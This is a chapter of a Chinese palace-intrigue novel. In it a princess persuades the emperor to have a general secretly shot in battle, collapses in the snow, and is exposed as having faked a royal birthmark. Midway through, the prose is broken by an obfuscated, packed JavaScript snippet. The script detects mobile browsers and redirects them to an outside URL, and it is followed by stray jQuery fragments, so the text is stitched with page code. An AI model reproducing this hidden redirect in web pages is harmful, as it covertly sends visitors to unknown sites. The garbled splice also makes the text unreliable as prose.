嫆昭明这才恍惚回忆起,她似乎一直在说这句话,只是自己每次都打断了她,眼前的鸢飞看着实在可怜极了,她颤抖着青紫的唇,手指僵冷,但神色倔强非常。
嫆昭明叹了口气,既然她有事要禀,那朕就听听吧,他没有看鸢飞递出来的书信,只是用宽容的语气说:“那你说吧。”
大雪在鸢飞的脸上结成了一层薄薄的冰壳,看不清神色,她语速飞快,
“江宁来信,有洋人军船进驻我国东南海面。”
“什么?”嫆昭明这才真正反应过来,鸢飞说的要事是真要事,他接过书信展开、迅速扫过其中内容。
书信是林英送过来的,信中说她预备出海经商的时候,在港口一百海里外的海面见到了洋人的船队,船上人皆着戎装,疑是军船,怀疑洋人不日会进犯东南沿海,但这些都只是她的猜测,没有实证,还请公主定夺。
嫆昭明内心惊疑,洋人来犯,东南军队没有任何讯息,反而是商人先有察觉?
鸢飞没有停下自己的话,“臣知道陛下的意思,陛下是想迎秦帅为后,从而顺理成章地收拢十万秦家军。”
嫆昭明没有想到鸢飞竟然完全看穿了自己此举的意图,但紧跟着恼火的情绪也翻涌了上来,她既然知道,为什么还要让朕收回成命?
鸢飞也有自己的道理,“陛下,此举确实有用,但太慢了,不确定的东西也太多了。是,秦帅为后,陛下确实可以收拢秦家军,但皇后的权力也很大,秦帅又身怀绝世武艺,人一旦被逼到狗急跳墙的地步,会做出的事都是无法预料的。”
她语气中带出几分焦急,“父皇,秦帅如果要杀了你,那你怎么办呢?是,吴公公确实武功高强,可秦帅一旦真当上了皇后,她有很多机会可以动手,卧榻之侧岂容他人安睡,秦帅不是安顺之辈,她如果生出反意,那父皇你的性命都会有危险。”
“再退一步说,就算秦帅不杀父皇,可如果她要暗害父皇其它的孩子呢?父皇子嗣不丰,儿子就这么几个,她只要找借口将皇子们全都废了,再抱养一个小孩子,扶持幼帝掌权,我嫆家的天下来日只怕就改姓秦了。”
嫆昭明有些怔忪,她……是在为自己考虑?
鸢飞还在继续扮演完美女儿,一心一意为了父皇着想。
“父皇,人只要活着就有无限的可能,未来怎么样谁都说不准。儿臣知道父皇忌惮秦家、忌惮秦帅,可是迎秦帅为后,只是缓兵之计,甚至是主动将自己置于危险之下。
父皇如果要铲除秦帅,儿臣有更好的办法,这才是儿臣真正的要事相告!”
是自己误会了她?她另有主意?“什么?”
“杀了她!”鸢飞眼神狠辣,“只有死人才不会威胁父皇!”
“秦玉穆一死,秦远征接管秦家军,远征虽是秦家人,但他是父皇教养出来的,忠心耿耿,必定不会背叛父皇,届时秦家军也不过是我大玄众多军队中的一支而已。”
是的,秦远征忠诚于皇帝,虽然他是秦家的孩子,虽然他享受姑姑的荫庇,虽然他爱慕棠落,但是他忠诚于皇帝,所以鸢飞她们从不会在秦远征面前暴露她们对于皇帝的冒犯。
嫆昭明看着眼前在大雪中跪了一夜,几乎要被霜雪冻成冰块的鸢飞,神色复杂,内心无法控制地涌上一些愧疚的情绪,这个孩子……
“你要怎么杀?”他哑声问。
鸢飞的眼神落到那封书信上,
“这就是机会,儿臣的武艺不及秦帅,但儿臣在父皇的私库里看到过一种来自洋人的特殊武器,名为鸟枪,鸟枪比箭矢更快、比铁剑更利,而且还来自洋人,没有比这更好的武器了。
到时在战场上,只要派人用鸟枪从背后暗杀秦帅,就可以顺理成章将秦帅之死推到洋人身上,没有任何人会怀疑到父皇身上,如此父皇才能彻底消除心腹大患。”
面对鸢飞如此坦诚、堪称大逆不道的发言,嫆昭明沉默了很久,好一会儿,他才轻声问:
“你不是崇敬她吗?怎么又愿意杀了她?”
鸢飞抬头,似乎有眼泪滑落,将眼睫上的冰块融化,她唇角扯出一抹称得上决然的笑,
“儿臣当然崇敬秦帅,但儿臣更知道,谁才是我的亲人。”
嫆昭明眼神震颤着,看着依旧跪在雪地里神情决绝的鸢飞。
漫天飞雪将她覆盖,黑发冻成雪丝,她通身皆白,看着冷漠却怀抱着一颗赤子之心,为了亲人舍弃自己的信仰也是可以的吗?
嫆昭明怔怔,鸢飞唇角忽然溢出一抹鲜红,她一直拽着他衣袖的手指颤动着,嫆昭明上前一步,半跪在她面前,神色终于不复冷漠,轻轻问她:
“怎么了?”
鸢飞像是从这句问话里找到了关切,唇角漾开一抹轻松的笑,然后自唇间喷出一大口鲜血,人僵硬地倒了下去,只是左手握成拳攥紧了腰间的玄鸟玉佩,她要用这份坚硬提醒自己,即使昏迷也不要忘了身处困境,依然要扮演完美女儿。
鲜血混合着雪花飞溅在嫆昭明脸上、身上,嫆昭明接住了她的身子,闭上了眼,任由复杂的情绪在漆黑的视野里翻涌。
良久,他终于睁开眼,将晕倒下去的鸢飞抱回了温暖的室内,吩咐一旁焦急等待但又不敢开口的宫人们:“传太医过来。”
“是!”
乾玄宫的宫人们忙成了一团,去端热水、去铺床褥、去为鸢飞擦热身子、去拖太医来为鸢飞诊治……
她们不是第一次照料昏迷的公主了,但他们也没有想到,仅仅一年,公主竟然又昏迷了,而且这次还不是因为歹人的暗害,这次公主的昏迷就是因为皇帝的心狠。
她们只是奴婢,她们自然不敢多说,但公道自在人心,天底下怎么有这么心狠的父亲能眼看着女儿在大雪中跪了一夜呢?
室内,宫人和太医们将鸢飞围成一团,红琮她们直到此刻依然在皇后的坤凤宫焦灼等待,只有天冬凭借太医的身份能亲眼看看鸢飞此刻的情况。
天冬一个人在屏风内仔细察看鸢飞的情况,等她出来了,原姑姑才为鸢飞盖好被子,让太医们诊治鸢飞。
嫆昭明神色复杂,“她怎么样了?”
天冬先答:“回禀陛下,情况不太好,公主之前便身中剧毒,虽然毒解了,但身体也被损耗,昨晚又在大雪中跪了一夜,寒气入体,只怕对寿命有碍。女子本就体寒,公主之后一定要注意保暖,再不能冻着冷着了。”
眼看皇帝的脸上显出愧疚的神色,太医们低着头对视一眼,纷纷附和天冬的说辞。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16657842|184819||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>伴君如伴虎,太医们常年混迹宫廷,早已深谙生存之道,大人们总以为自己拿捏了底下人的性命,底下人就会完全如实相告、忠诚于上,但每个人都有自己的思想和个性,只是混口饭吃,谁会真的为大人们卖命呢?
太医们开了方子,煎了药,天冬服侍昏迷中的鸢飞用了汤药,上书房的人这才慢慢散去,屋内只剩皇帝、公主并一个原姑姑。
嫆昭明看着昏迷不醒的鸢飞,她的左手依然握成拳,嫆昭明掰开了她的左手,看着她掌心的玄鸟玉佩,百感交集,这个孩子……是真把他当父亲了,才会攥紧玉佩不放。
但她终究不是自己的亲生女儿……
嫆昭明想到这,退后几步,背过身去,吩咐原姑姑:
“去看看她腿后的胎记。”
“是。”原姑姑精神高度紧绷,但动作始终标准。
嫆昭明闭着眼,只能听见身份衣服窸窣的摩擦声,没过一会儿,窸窣的声音渐渐停了,原姑姑悄然无声地走到了嫆昭明面前。
“有胎记吗?”他问。
“有”
“有?”
“公主腿上确实有玄鸟胎记,只是胎记是用染料画上去的。”原姑姑恭敬非常,说完她伸出手指。
她手指上有一抹浅淡的黑色印痕,虽浅但无比扎眼。
嫆昭明微不可察地叹了一口气,“骗子……”
鸢飞这一昏迷昏迷了整整三日,这三日里,嫆昭明已经确认了洋人本月内就会进犯江宁,他采纳了鸢飞的建议,不准备再迎秦玉穆为后,而是派秦玉穆去打她并不擅长的海战。
嫆昭明并没把不知哪里来的洋人放在心上,他只想着借洋人入侵解决秦玉穆。
秦玉穆若是不敌洋人,死在战场上,当然最好,若是她取胜了,那嫆昭明也自会派潜伏在秦家军中的密探解决她。
秦玉穆对于嫆昭明的这个决定自然是欣然接受,于她而言,即使是不擅长的海战,也比留在后宫里强,她也这么大年纪了,马革裹尸又何尝不是壮烈的结局呢?
她遥望着皇宫的方向,想着还没有苏醒的鸢飞,如果说以前对这个孩子,她只是单纯对于故人之子的关照,但如今这个孩子帮了她这么大一个忙,她得想想该怎么报答这个孩子。
秦玉穆擅长沙场作战,但她并不擅长宫廷争斗,面对皇帝的阳谋,其实她也没什么办法。
最开始,秦玉穆其实对于鸢飞的计划也不抱希望,她只是实在没办法了,只好死马当成活马医,横竖对她也没有损失,但她没有想到鸢飞竟然真的让皇帝打消了主意,不得不说,这孩子是个狠人!
被秦玉穆惦记的鸢飞直到第四日清晨才悠悠醒转,每日来服侍她用汤药的天冬将这几日朝中发生的事全都告诉了她。
鸢飞颔首,神色轻松了一些,不管怎样,秦玉穆没有被困在宫廷里,母后也保住了皇后的位置,计划已经算是大成功了。
原姑姑引着嫆昭明过来的时候,她的目光不着痕迹地在鸢飞腿后停了两瞬,鸢飞内心一咯噔,神色间露了几分不自在,面对嫆昭明微眯的眼,她连忙提起了另一件事:
“臣请命,替陛下解除心头大患!”
“你去?”
“是,臣亲自动手!”